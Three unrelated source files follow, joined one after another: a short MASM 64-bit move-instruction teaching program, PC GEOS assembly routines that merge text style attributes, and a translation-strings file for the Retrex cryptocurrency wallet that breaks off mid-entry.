; Moves.asm - Testing the 64-bit move operations ExitProcess proto .data message BYTE "Welcome to my 64-bit Library!",0 maxuint qword 0FFFFFFFFFFFFFFFFh myByte byte 55h myWord word 6666h myDword dword 80000000h .code main proc ; Moving immediate values: mov rax,maxuint ; fill all bits in RAX mov rax,81111111h ; clears bits 32-63 (no sign extension) mov rax,06666h ; clears bits 16-63 mov rax,055h ; clears bits 8-63 ; Moving memory operands: mov rax,maxuint ; fill all bits in RAX mov eax,myDword ; clears bits 32-63 (no sign extension) mov ax,myWord ; affects only bits 0-15 mov al,myByte ; affects only bits 0-7 ; 32-bit sign extension works like this mov myWord,8111h ; make it negative movsx eax,myWord ; EAX = FFFF8111h ; The MOVSXD instruction (move with sign-extension) permits the ; source operand to be a 32-bit register or memory operand: mov ebx,0FFFFFFFFh movsxd rax,ebx ; rax = FFFFFFFFFFFFFFFF mov ecx,0 call ExitProcess main endp end
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: Text/TextAttr FILE: taStyleMerge.asm AUTHOR: Tony ROUTINES: Name Description ---- ----------- SendCharAttrParaAttrChange REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 5/22/89 Initial revision DESCRIPTION: Low level utility routines for implementing the methods defined on VisTextClass. $Id: taStyleMerge.asm,v 1.1 97/04/07 11:18:36 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TextStyleSheet segment resource COMMENT @---------------------------------------------------------------------- FUNCTION: MergeCharAttr DESCRIPTION: Merge the differences between two char attr structres into a third char attr structure. target <= new + (target - old) CALLED BY: INTERNAL PASS: ds:si - attribute structure to modify ("target") es:di - result attribute structure (copy of "new") ds:cx - old attribute structure ("old") ss:bp - pointer to private data from style structure dx - current element size RETURN: dx - new element size structure updated DESTROYED: ax, bx, cx, dx, si, di, bp, ds REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/27/91 Initial version SH 05/06/94 XIP'ed ------------------------------------------------------------------------------@ ; preserve dx to return same element size passed MergeCharAttr proc far push dx clr ax mov dx, ({TextStylePrivateData} ss:[bp]).TSPD_flags diffs local VisTextCharAttrDiffs \ push ax, ax, ax .enter EC < call ECLMemValidateHeap > ; diff "target" and "old" push dx, di, es mov dx, ss lea bx, diffs ;dx:bx = diffs segmov es, cs mov di, offset defaultCharAttr jcxz 10$ segmov es, ds ;es:di = old mov di, cx 10$: FXIP< push cx > FXIP< mov cx, size VisTextCharAttr > FXIP< call SysCopyToStackESDI > FXIP< pop cx > call DiffCharAttr FXIP< call SysRemoveFromStack > pop dx, di, es ; if there is no old structure then don't do things relative tst cx jnz oldExists clr dx oldExists: ; if the relative flag(s) is set then we must force differences in the ; fields that are relative test dx, mask TSF_POINT_SIZE_RELATIVE jz notRelative ornf diffs.VTCAD_diffs, mask VTCAF_MULTIPLE_POINT_SIZES notRelative: ; now go through the diff structure to handle all ; things that are different push bp mov ax, offset CAMergeTable ;cs:ax = table pushdw csax mov bx, cx ;ds:bx = old mov cx, length CAMergeTable ;ax = count lea bp, diffs call StyleSheetCallMergeRoutines pop bp EC < call ECLMemValidateHeap > .leave pop dx ret MergeCharAttr endp CAMergeTable SSMergeEntry \ <offset VTCAD_diffs, mask VTCAF_MULTIPLE_FONT_IDS, MergeWord, offset VTCA_fontID>, <offset VTCAD_diffs, mask VTCAF_MULTIPLE_POINT_SIZES, MergePointSize, offset VTCA_pointSize>, <offset VTCAD_textStyles, TextStyle, MergeTextStyle, offset VTCA_textStyles>, <offset VTCAD_extendedStyles, VisTextExtendedStyles, MergeExtendedStyle, offset VTCA_extendedStyles>, <offset VTCAD_diffs, mask VTCAF_MULTIPLE_COLORS, MergeDWord, offset VTCA_color>, <offset VTCAD_diffs, mask VTCAF_MULTIPLE_GRAY_SCREENS, MergeByte, offset VTCA_grayScreen>, <offset VTCAD_diffs, mask VTCAF_MULTIPLE_PATTERNS, MergeWord, offset VTCA_pattern>, <offset VTCAD_diffs, mask VTCAF_MULTIPLE_FONT_WEIGHTS, MergeByte, offset VTCA_fontWeight>, <offset VTCAD_diffs, mask VTCAF_MULTIPLE_FONT_WIDTHS, MergeByte, offset VTCA_fontWidth>, <offset VTCAD_diffs, mask VTCAF_MULTIPLE_TRACK_KERNINGS, MergeWord, offset VTCA_trackKerning>, <offset VTCAD_diffs, mask VTCAF_MULTIPLE_BG_COLORS, MergeDWord, offset VTCA_bgColor>, <offset VTCAD_diffs, mask VTCAF_MULTIPLE_BG_GRAY_SCREENS, MergeByte, offset VTCA_bgGrayScreen>, <offset VTCAD_diffs, mask VTCAF_MULTIPLE_BG_PATTERNS, MergeWord, offset VTCA_bgPattern> ; ds:si = target ; es:di = result ; ds:bx = old ; ss:ax = diffs ; cx = data (offset in structure) ; dx = TextStyleFlags ;--- MergeDWord proc far add si, cx add di, cx movsw movsw ret MergeDWord endp ;--- MergeWord proc far add si, cx add di, cx movsw ret MergeWord endp ;--- MergeByte proc far add si, cx add di, cx movsb ret MergeByte endp ;--- MergePointSize proc far mov cl, ds:[si].VTCA_pointSize.WBF_frac ;ax.cl = target mov ax, ds:[si].VTCA_pointSize.WBF_int ; if relative then use target - old + new test dx, mask TSF_POINT_SIZE_RELATIVE jz 10$ sub cl, ds:[bx].VTCA_pointSize.WBF_frac sbb ax, ds:[bx].VTCA_pointSize.WBF_int add cl, es:[di].VTCA_pointSize.WBF_frac adc ax, es:[di].VTCA_pointSize.WBF_int 10$: mov es:[di].VTCA_pointSize.WBF_frac, cl mov es:[di].VTCA_pointSize.WBF_int, ax ret MergePointSize endp ;--- MergeTextStyle proc far mov_tr bp, ax ;ss:bp = diffs mov al, ds:[si].VTCA_textStyles ;al = target mov ah, es:[di].VTCA_textStyles ;ah = new mov bl, ss:[bp].VTCAD_textStyles ;bl = bits to transfer and al, bl not bl and ah, bl or ah, al mov es:[di].VTCA_textStyles, ah ret MergeTextStyle endp ;--- MergeExtendedStyle proc far mov_tr bp, ax ;ss:bp = diffs mov ax, ds:[si].VTCA_extendedStyles ;ax = target mov bx, es:[di].VTCA_extendedStyles ;bx = new mov cx, ss:[bp].VTCAD_extendedStyles ;cx = bits to transfer and ax, cx not cx and bx, cx or bx, ax mov es:[di].VTCA_extendedStyles, bx ret MergeExtendedStyle endp COMMENT @---------------------------------------------------------------------- FUNCTION: MergeParaAttr DESCRIPTION: Merge the differences between two para attr structres into a third para attr structure target <= new + (target - old) CALLED BY: INTERNAL PASS: ds:si - attribute structure to modify ("target") es:di - new attribute structure ("new") ds:cx - old attribute structure ("old") ss:bp - pointer to private data from style structure dx - chunk handle of element arrray (in case the target needs to be resized) RETURN: structure updated DESTROYED: ax, bx, cx, dx, si, di, bp, ds REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/27/91 Initial version SH 05/06/94 XIP'ed ------------------------------------------------------------------------------@ MergeParaAttr proc far clr ax mov dx, ({TextStylePrivateData} ss:[bp]).TSPD_flags diffs local VisTextParaAttrDiffs \ push ax, ax, ax, ax, ax, ax, ax .enter EC < call ECLMemValidateHeap > ; diff "target" and "old" push dx, di, es mov dx, ss lea bx, diffs ;dx:bx = diffs segmov es, cs mov di, offset defaultParaAttr jcxz 10$ segmov es, ds ;es:di = old mov di, cx 10$: FXIP< push cx > FXIP< mov cx, size VisTextParaAttr > FXIP< call SysCopyToStackESDI > FXIP< pop cx > call DiffParaAttr FXIP< call SysRemoveFromStack > pop dx, di, es ; if there is no old structure then don't do things relative tst cx jnz oldExists clr dx oldExists: ; if the relative flag(s) is set then we must force differences in the ; fields that are relative test dx, mask TSF_MARGINS_RELATIVE jz notRelative1 ornf diffs.VTPAD_diffs, mask VTPAF_MULTIPLE_LEFT_MARGINS or \ mask VTPAF_MULTIPLE_PARA_MARGINS or \ mask VTPAF_MULTIPLE_RIGHT_MARGINS notRelative1: test dx, mask TSF_LEADING_RELATIVE jz notRelative2 ornf diffs.VTPAD_diffs, mask VTPAF_MULTIPLE_LEADINGS notRelative2: ; now go through the diff structure to handle all ; things that are different push bp mov ax, offset PAMergeTable ;cs:ax = table pushdw csax mov bx, cx ;ds:bx = old mov cx, length PAMergeTable ;ax = count lea bp, diffs call StyleSheetCallMergeRoutines pop bp EC < call ECLMemValidateHeap > ; return size CalcParaAttrSize <es:[di]>, dx .leave ret MergeParaAttr endp PAMergeTable SSMergeEntry \ <offset VTPAD_attributes, VisTextParaAttrAttributes, MergeParaAttributes, offset VTPA_attributes>, <offset VTPAD_diffs, mask VTPAF_MULTIPLE_LEFT_MARGINS, MergeMargin, offset VTPA_leftMargin>, <offset VTPAD_diffs, mask VTPAF_MULTIPLE_PARA_MARGINS, MergeMargin, offset VTPA_paraMargin>, <offset VTPAD_diffs, mask VTPAF_MULTIPLE_RIGHT_MARGINS, MergeMargin, offset VTPA_rightMargin>, <offset VTPAD_diffs, mask VTPAF_MULTIPLE_LINE_SPACINGS, MergeWord, offset VTPA_lineSpacing>, <offset VTPAD_diffs, mask VTPAF_MULTIPLE_LEADINGS, MergeLeading, 0>, <offset VTPAD_diffs, mask VTPAF_MULTIPLE_TOP_SPACING, MergeWord, offset VTPA_spaceOnTop>, <offset VTPAD_diffs, mask VTPAF_MULTIPLE_BOTTOM_SPACING, MergeWord, offset VTPA_spaceOnBottom>, <offset VTPAD_diffs, mask VTPAF_MULTIPLE_DEFAULT_TABS, MergeWord, offset VTPA_defaultTabs>, <offset VTPAD_diffs, mask VTPAF_MULTIPLE_BG_COLORS, MergeDWord, offset VTPA_bgColor>, <offset VTPAD_diffs, mask VTPAF_MULTIPLE_BG_GRAY_SCREENS, MergeByte, offset VTPA_bgGrayScreen>, <offset VTPAD_diffs, mask VTPAF_MULTIPLE_BG_PATTERNS, MergeWord, offset VTPA_bgPattern>, <offset VTPAD_diffs, mask VTPAF_MULTIPLE_TAB_LISTS, MergeTabList, 0>, <offset VTPAD_borderDiffs, mask VTPABF_MULTIPLE_BORDER_LEFT or \ mask VTPABF_MULTIPLE_BORDER_TOP or \ mask VTPABF_MULTIPLE_BORDER_RIGHT or \ mask VTPABF_MULTIPLE_BORDER_BOTTOM or \ mask VTPABF_MULTIPLE_BORDER_DOUBLES or \ mask VTPABF_MULTIPLE_BORDER_DRAW_INNERS or \ mask VTPABF_MULTIPLE_BORDER_ANCHORS or \ mask VTPABF_MULTIPLE_BORDER_SHADOWS, MergeBorder, 0>, <offset VTPAD_borderDiffs, mask VTPABF_MULTIPLE_BORDER_WIDTHS, MergeByte, offset VTPA_borderWidth>, <offset VTPAD_borderDiffs, mask VTPABF_MULTIPLE_BORDER_SPACINGS, MergeByte, offset VTPA_borderSpacing>, <offset VTPAD_borderDiffs, mask VTPABF_MULTIPLE_BORDER_COLORS, MergeDWord, offset VTPA_borderColor>, <offset VTPAD_borderDiffs, mask VTPABF_MULTIPLE_BORDER_GRAY_SCREENS, MergeByte, offset VTPA_borderGrayScreen>, <offset VTPAD_borderDiffs, mask VTPABF_MULTIPLE_BORDER_PATTERNS, MergeWord, offset VTPA_borderPattern>, <offset VTPAD_hyphenationInfo, mask VisTextHyphenationInfo, MergeHypenationInfo, 0>, <offset VTPAD_keepInfo, mask VisTextKeepInfo, MergeKeepInfo, 0> ; ds:si = target ; es:di = result ; ds:bx = old ; ss:ax = diffs ; cx = data (offset in structure) ; dx = TextStyleFlags ;--- MergeParaAttributes proc far mov_tr bp, ax ;ss:bp = diffs mov ax, ds:[si].VTPA_attributes ;ax = target mov bx, es:[di].VTPA_attributes ;bx = new mov cx, ss:[bp].VTPAD_attributes ;cx = bits to transfer and ax, cx not cx and bx, cx or bx, ax mov es:[di].VTPA_attributes, bx ret MergeParaAttributes endp ;--- MergeMargin proc far add si, cx add bx, cx add di, cx mov ax, ds:[si] ;ax = target ; if relative then use target - old + new test dx, mask TSF_MARGINS_RELATIVE jz 10$ sub ax, ds:[bx] add ax, es:[di] 10$: mov es:[di], ax ret MergeMargin endp ;--- MergeLeading proc far mov ax, ds:[si].VTPA_leading ;ax = target ; if relative then use target - old + new test dx, mask TSF_LEADING_RELATIVE jz 10$ sub ax, ds:[bx].VTPA_leading add ax, es:[di].VTPA_leading 10$: mov es:[di].VTPA_leading, ax ret MergeLeading endp ;--- MergeTabList proc far mov al, ds:[si].VTPA_numberOfTabs mov es:[di].VTPA_numberOfTabs, al add si, offset VTPA_tabList add di, offset VTPA_tabList mov cx, (VIS_TEXT_MAX_TABS * (size Tab)) / 2 rep movsw ret MergeTabList endp ;--- MergeBorder proc far mov ax, ds:[si].VTPA_borderFlags mov es:[di].VTPA_borderFlags, ax mov al, ds:[si].VTPA_borderShadow mov es:[di].VTPA_borderShadow, al ret MergeBorder endp ;--- MergeHypenationInfo proc far mov_tr bp, ax ;ss:bp = diffs mov cx, ss:[bp].VTPAD_hyphenationInfo ;diffs mov ax, ds:[si].VTPA_hyphenationInfo ;ax = target mov bx, es:[di].VTPA_hyphenationInfo ;bx = old test cx, mask VTHI_HYPHEN_MAX_LINES jz 10$ and bx, not mask VTHI_HYPHEN_MAX_LINES push ax and ax, mask VTHI_HYPHEN_MAX_LINES or bx, ax pop ax 10$: test cx, mask VTHI_HYPHEN_SHORTEST_WORD jz 20$ and bx, not mask VTHI_HYPHEN_SHORTEST_WORD push ax and ax, mask VTHI_HYPHEN_SHORTEST_WORD or bx, ax pop ax 20$: test cx, mask VTHI_HYPHEN_SHORTEST_PREFIX jz 30$ and bx, not mask VTHI_HYPHEN_SHORTEST_PREFIX push ax and ax, mask VTHI_HYPHEN_SHORTEST_PREFIX or bx, ax pop ax 30$: test cx, mask VTHI_HYPHEN_SHORTEST_SUFFIX jz 40$ and bx, not mask VTHI_HYPHEN_SHORTEST_SUFFIX and ax, mask VTHI_HYPHEN_SHORTEST_SUFFIX or bx, ax 40$: mov es:[di].VTPA_hyphenationInfo, bx ret MergeHypenationInfo endp ;--- MergeKeepInfo proc far mov_tr bp, ax ;ss:bp = diffs mov cl, ss:[bp].VTPAD_keepInfo ;diffs mov al, ds:[si].VTPA_keepInfo ;ax = target mov bl, es:[di].VTPA_keepInfo ;bx = old test cl, mask VTKI_TOP_LINES jz 10$ and bl, not mask VTKI_TOP_LINES push ax and al, mask VTKI_TOP_LINES or bl, al pop ax 10$: test cl, mask VTKI_BOTTOM_LINES jz 20$ and bl, not mask VTKI_BOTTOM_LINES and al, mask VTKI_BOTTOM_LINES or bl, al 20$: mov es:[di].VTPA_keepInfo, bl ret MergeKeepInfo endp TextStyleSheet ends
#include <QtGlobal> // Automatically generated by extract_strings.py #ifdef __GNUC__ #define UNUSED __attribute__((unused)) #else #define UNUSED #endif static const char UNUSED *retrex_strings[] = { QT_TRANSLATE_NOOP("retrex-core", " mints deleted\n"), QT_TRANSLATE_NOOP("retrex-core", " mints updated, "), QT_TRANSLATE_NOOP("retrex-core", " unconfirmed transactions removed\n"), QT_TRANSLATE_NOOP("retrex-core", "" "(1 = keep tx meta data e.g. account owner and payment request information, 2 " "= drop tx meta data)"), QT_TRANSLATE_NOOP("retrex-core", "" "Allow JSON-RPC connections from specified source. Valid for <ip> are a " "single IP (e.g. 1.2.3.4), a network/netmask (e.g. 1.2.3.4/255.255.255.0) or " "a network/CIDR (e.g. 1.2.3.4/24). This option can be specified multiple times"), QT_TRANSLATE_NOOP("retrex-core", "" "An error occurred while setting up the RPC address %s port %u for listening: " "%s"), QT_TRANSLATE_NOOP("retrex-core", "" "Bind to given address and always listen on it. Use [host]:port notation for " "IPv6"), QT_TRANSLATE_NOOP("retrex-core", "" "Bind to given address and whitelist peers connecting to it. Use [host]:port " "notation for IPv6"), QT_TRANSLATE_NOOP("retrex-core", "" "Bind to given address to listen for JSON-RPC connections. Use [host]:port " "notation for IPv6. This option can be specified multiple times (default: " "bind to all interfaces)"), QT_TRANSLATE_NOOP("retrex-core", "" "Calculated accumulator checkpoint is not what is recorded by block index"), QT_TRANSLATE_NOOP("retrex-core", "" "Cannot obtain a lock on data directory %s. Retrex Core is probably already " "running."), QT_TRANSLATE_NOOP("retrex-core", "" "Change automatic finalized budget voting behavior. mode=auto: Vote for only " "exact finalized budget match to my generated budget. (string, default: auto)"), QT_TRANSLATE_NOOP("retrex-core", "" "Continuously rate-limit free transactions to <n>*1000 bytes per minute " "(default:%u)"), QT_TRANSLATE_NOOP("retrex-core", "" "Create new files with system default permissions, instead of umask 077 (only " "effective with disabled wallet functionality)"), QT_TRANSLATE_NOOP("retrex-core", "" "Delete all wallet transactions and only recover those parts of the " "blockchain through -rescan on startup"), QT_TRANSLATE_NOOP("retrex-core", "" "Disable all Retrex specific functionality (Masternodes, Zerocoin, SwiftTX, " "Budgeting) (0-1, default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "" "Distributed under the MIT software license, see the accompanying file " "COPYING or <http://www.opensource.org/licenses/mit-license.php>."), QT_TRANSLATE_NOOP("retrex-core", "" "Enable SwiftTX, show confirmations for locked transactions (bool, default: %s)"), QT_TRANSLATE_NOOP("retrex-core", "" "Enable automatic wallet backups triggered after each zReex minting (0-1, " "default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "" "Enable spork administration functionality with the appropriate private key."), QT_TRANSLATE_NOOP("retrex-core", "" "Enter regression test mode, which uses a special chain in which blocks can " "be solved instantly."), QT_TRANSLATE_NOOP("retrex-core", "" "Error: Listening for incoming connections failed (listen returned error %s)"), QT_TRANSLATE_NOOP("retrex-core", "" "Error: The transaction was rejected! This might happen if some of the coins " "in your wallet were already spent, such as if you used a copy of wallet.dat " "and coins were spent in the copy but not marked as spent here."), QT_TRANSLATE_NOOP("retrex-core", "" "Error: This transaction requires a transaction fee of at least %s because of " "its amount, complexity, or use of recently received funds!"), QT_TRANSLATE_NOOP("retrex-core", "" "Error: Unsupported argument -checklevel found. Checklevel must be level 4."), QT_TRANSLATE_NOOP("retrex-core", "" "Error: Unsupported argument -socks found. Setting SOCKS version isn't " "possible anymore, only SOCKS5 proxies are supported."), QT_TRANSLATE_NOOP("retrex-core", "" "Execute command when a relevant alert is received or we see a really long " "fork (%s in cmd is replaced by message)"), QT_TRANSLATE_NOOP("retrex-core", "" "Execute command when a wallet transaction changes (%s in cmd is replaced by " "TxID)"), QT_TRANSLATE_NOOP("retrex-core", "" "Execute command when the best block changes (%s in cmd is replaced by block " "hash)"), QT_TRANSLATE_NOOP("retrex-core", "" "Fees (in REEX/Kb) smaller than this are considered zero fee for relaying " "(default: %s)"), QT_TRANSLATE_NOOP("retrex-core", "" "Fees (in REEX/Kb) smaller than this are considered zero fee for transaction " "creation (default: %s)"), QT_TRANSLATE_NOOP("retrex-core", "" "Flush database activity from memory pool to disk log every <n> megabytes " "(default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "" "Found unconfirmed denominated outputs, will wait till they confirm to " "continue."), QT_TRANSLATE_NOOP("retrex-core", "" "If paytxfee is not set, include enough fee so transactions begin " "confirmation on average within n blocks (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "" "In this mode -genproclimit controls how many blocks are generated " "immediately."), QT_TRANSLATE_NOOP("retrex-core", "" "Insufficient or insufficient confirmed funds, you might need to wait a few " "minutes and try again."), QT_TRANSLATE_NOOP("retrex-core", "" "Invalid amount for -maxtxfee=<amount>: '%s' (must be at least the minrelay " "fee of %s to prevent stuck transactions)"), QT_TRANSLATE_NOOP("retrex-core", "" "Keep the specified amount available for spending at all times (default: 0)"), QT_TRANSLATE_NOOP("retrex-core", "" "Log transaction priority and fee per kB when mining blocks (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "" "Maintain a full transaction index, used by the getrawtransaction rpc call " "(default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "" "Maximum size of data in data carrier transactions we relay and mine " "(default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "" "Maximum total fees to use in a single wallet transaction, setting too low " "may abort large transactions (default: %s)"), QT_TRANSLATE_NOOP("retrex-core", "" "Number of seconds to keep misbehaving peers from reconnecting (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "" "Obfuscation uses exact denominated amounts to send funds, you might simply " "need to anonymize some more coins."), QT_TRANSLATE_NOOP("retrex-core", "" "Output debugging information (default: %u, supplying <category> is optional)"), QT_TRANSLATE_NOOP("retrex-core", "" "Preferred Denomination for automatically minted Zerocoin " "(1/5/10/50/100/500/1000/5000), 0 for no preference. default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "" "Query for peer addresses via DNS lookup, if low on addresses (default: 1 " "unless -connect)"), QT_TRANSLATE_NOOP("retrex-core", "" "Randomize credentials for every proxy connection. This enables Tor stream " "isolation (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "" "Require high priority for relaying free or low-fee transactions (default:%u)"), QT_TRANSLATE_NOOP("retrex-core", "" "Send trace/debug info to console instead of debug.log file (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "" "Set maximum size of high-priority/low-fee transactions in bytes (default: %d)"), QT_TRANSLATE_NOOP("retrex-core", "" "Set the number of script verification threads (%u to %d, 0 = auto, <0 = " "leave that many cores free, default: %d)"), QT_TRANSLATE_NOOP("retrex-core", "" "Set the number of threads for coin generation if enabled (-1 = all cores, " "default: %d)"), QT_TRANSLATE_NOOP("retrex-core", "" "Show N confirmations for a successfully locked transaction (0-9999, default: " "%u)"), QT_TRANSLATE_NOOP("retrex-core", "" "Support filtering of blocks and transaction with bloom filters (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "" "SwiftTX requires inputs with at least 6 confirmations, you might need to wait " "a few minutes and try again."), QT_TRANSLATE_NOOP("retrex-core", "" "This is a pre-release test build - use at your own risk - do not use for " "staking or merchant applications!"), QT_TRANSLATE_NOOP("retrex-core", "" "This product includes software developed by the OpenSSL Project for use in " "the OpenSSL Toolkit <https://www.openssl.org/> and cryptographic software " "written by Eric Young and UPnP software written by Thomas Bernard."), QT_TRANSLATE_NOOP("retrex-core", "" "To use retrexd, or the -server option to retrex-qt, you must set an rpcpassword " "in the configuration file:\n" "%s\n" "It is recommended you use the following random password:\n" "rpcuser=retrexrpc\n" "rpcpassword=%s\n" "(you do not need to remember this password)\n" "The username and password MUST NOT be the same.\n" "If the file does not exist, create it with owner-readable-only file " "permissions.\n" "It is also recommended to set alertnotify so you are notified of problems;\n" "for example: alertnotify=echo %%s | mail -s \"Retrex Alert\" admin@foo.com\n"), QT_TRANSLATE_NOOP("retrex-core", "" "Unable to bind to %s on this computer. Retrex Core is probably already running."), QT_TRANSLATE_NOOP("retrex-core", "" "Unable to locate enough Obfuscation denominated funds for this transaction."), QT_TRANSLATE_NOOP("retrex-core", "" "Unable to locate enough Obfuscation non-denominated funds for this " "transaction that are not equal 1000000 REEX."), QT_TRANSLATE_NOOP("retrex-core", "" "Unable to locate enough funds for this transaction that are not equal 1000000 " "REEX."), QT_TRANSLATE_NOOP("retrex-core", "" "Use separate SOCKS5 proxy to reach peers via Tor hidden services (default: " "%s)"), QT_TRANSLATE_NOOP("retrex-core", "" "Warning: -maxtxfee is set very high! Fees this large could be paid on a " "single transaction."), QT_TRANSLATE_NOOP("retrex-core", "" "Warning: -paytxfee is set very high! This is the transaction fee you will " "pay if you send a transaction."), QT_TRANSLATE_NOOP("retrex-core", "" "Warning: Please check that your computer's date and time are correct! If " "your clock is wrong Retrex Core will not work properly."), QT_TRANSLATE_NOOP("retrex-core", "" "Warning: The network does not appear to fully agree! Some miners appear to " "be experiencing issues."), QT_TRANSLATE_NOOP("retrex-core", "" "Warning: We do not appear to fully agree with our peers! You may need to " "upgrade, or other nodes may need to upgrade."), QT_TRANSLATE_NOOP("retrex-core", "" "Warning: error reading wallet.dat! All keys read correctly, but transaction " "data or address book entries might be missing or incorrect."), QT_TRANSLATE_NOOP("retrex-core", "" "Warning: wallet.dat corrupt, data salvaged! Original wallet.dat saved as " "wallet.{timestamp}.bak in %s; if your balance or transactions are incorrect " "you should restore from a backup."), QT_TRANSLATE_NOOP("retrex-core", "" "Whitelist peers connecting from the given netmask or IP address. Can be " "specified multiple times."), QT_TRANSLATE_NOOP("retrex-core", "" "Whitelisted peers cannot be DoS banned and their transactions are always " "relayed, even if they are already in the mempool, useful e.g. for a gateway"), QT_TRANSLATE_NOOP("retrex-core", "" "You must specify a masternodeprivkey in the configuration. Please see " "documentation for help."), QT_TRANSLATE_NOOP("retrex-core", "(11001 could be used only on mainnet)"), QT_TRANSLATE_NOOP("retrex-core", "(default: %s)"), QT_TRANSLATE_NOOP("retrex-core", "(default: 1)"), QT_TRANSLATE_NOOP("retrex-core", "(must be 11001 for mainnet)"), QT_TRANSLATE_NOOP("retrex-core", "<category> can be:"), QT_TRANSLATE_NOOP("retrex-core", "Accept command line and JSON-RPC commands"), QT_TRANSLATE_NOOP("retrex-core", "Accept connections from outside (default: 1 if no -proxy or -connect)"), QT_TRANSLATE_NOOP("retrex-core", "Accept public REST requests (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Acceptable ciphers (default: %s)"), QT_TRANSLATE_NOOP("retrex-core", "Add a node to connect to and attempt to keep the connection open"), QT_TRANSLATE_NOOP("retrex-core", "Allow DNS lookups for -addnode, -seednode and -connect"), QT_TRANSLATE_NOOP("retrex-core", "Already have that input."), QT_TRANSLATE_NOOP("retrex-core", "Always query for peer addresses via DNS lookup (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Attempt to force blockchain corruption recovery"), QT_TRANSLATE_NOOP("retrex-core", "Attempt to recover private keys from a corrupt wallet.dat"), QT_TRANSLATE_NOOP("retrex-core", "Automatically create Tor hidden service (default: %d)"), QT_TRANSLATE_NOOP("retrex-core", "Block creation options:"), QT_TRANSLATE_NOOP("retrex-core", "Calculating missing accumulators..."), QT_TRANSLATE_NOOP("retrex-core", "Can't denominate: no compatible inputs left."), QT_TRANSLATE_NOOP("retrex-core", "Can't find random Masternode."), QT_TRANSLATE_NOOP("retrex-core", "Can't mix while sync in progress."), QT_TRANSLATE_NOOP("retrex-core", "Cannot downgrade wallet"), QT_TRANSLATE_NOOP("retrex-core", "Cannot resolve -bind address: '%s'"), QT_TRANSLATE_NOOP("retrex-core", "Cannot resolve -externalip address: '%s'"), QT_TRANSLATE_NOOP("retrex-core", "Cannot resolve -whitebind address: '%s'"), QT_TRANSLATE_NOOP("retrex-core", "Cannot write default address"), QT_TRANSLATE_NOOP("retrex-core", "Collateral not valid."), QT_TRANSLATE_NOOP("retrex-core", "Connect only to the specified node(s)"), QT_TRANSLATE_NOOP("retrex-core", "Connect through SOCKS5 proxy"), QT_TRANSLATE_NOOP("retrex-core", "Connect to a node to retrieve peer addresses, and disconnect"), QT_TRANSLATE_NOOP("retrex-core", "Connection options:"), QT_TRANSLATE_NOOP("retrex-core", "Copyright (C) 2009-%i The Bitcoin Core Developers"), QT_TRANSLATE_NOOP("retrex-core", "Copyright (C) 2014-%i The Dash Core Developers"), QT_TRANSLATE_NOOP("retrex-core", "Copyright (C) 2015-%i The PIVX Core Developers"), QT_TRANSLATE_NOOP("retrex-core", "Copyright (C) 2021 The Retrex Core Developers"), QT_TRANSLATE_NOOP("retrex-core", "Corrupted block database detected"), QT_TRANSLATE_NOOP("retrex-core", "Could not parse -rpcbind value %s as network address"), QT_TRANSLATE_NOOP("retrex-core", "Could not parse masternode.conf"), QT_TRANSLATE_NOOP("retrex-core", "Debugging/Testing options:"), QT_TRANSLATE_NOOP("retrex-core", "Delete blockchain folders and resync from scratch"), QT_TRANSLATE_NOOP("retrex-core", "Disable OS notifications for incoming transactions (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Disable safemode, override a real safe mode event (default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Discover own IP address (default: 1 when listening and no -externalip)"), QT_TRANSLATE_NOOP("retrex-core", "Display the stake modifier calculations in the debug.log file."), QT_TRANSLATE_NOOP("retrex-core", "Display verbose coin stake messages in the debug.log file."), QT_TRANSLATE_NOOP("retrex-core", "Do not load the wallet and disable wallet RPC calls"), QT_TRANSLATE_NOOP("retrex-core", "Do you want to rebuild the block database now?"), QT_TRANSLATE_NOOP("retrex-core", "Done loading"), QT_TRANSLATE_NOOP("retrex-core", "Enable automatic Zerocoin minting (0-1, default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Enable publish hash block in <address>"), QT_TRANSLATE_NOOP("retrex-core", "Enable publish hash transaction (locked via SwiftTX) in <address>"), QT_TRANSLATE_NOOP("retrex-core", "Enable publish hash transaction in <address>"), QT_TRANSLATE_NOOP("retrex-core", "Enable publish raw block in <address>"), QT_TRANSLATE_NOOP("retrex-core", "Enable publish raw transaction (locked via SwiftTX) in <address>"), QT_TRANSLATE_NOOP("retrex-core", "Enable publish raw transaction in <address>"), QT_TRANSLATE_NOOP("retrex-core", "Enable staking functionality (0-1, default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Enable the client to act as a masternode (0-1, default: %u)"), QT_TRANSLATE_NOOP("retrex-core", "Entries are full."), QT_TRANSLATE_NOOP("retrex-core", "Error connecting to Masternode."), QT_TRANSLATE_NOOP("retrex-core", "Error initializing block database"), QT_TRANSLATE_NOOP("retrex-core", "Error initializing wallet database environment %s!"), QT_TRANSLATE_NOOP("retrex-core", "Error loading block database"), QT_TRANSLATE_NOOP("retrex-core", "Error loading wallet.dat"), QT_TRANSLATE_NOOP("retrex-core", "Error loading wallet.dat: Wallet 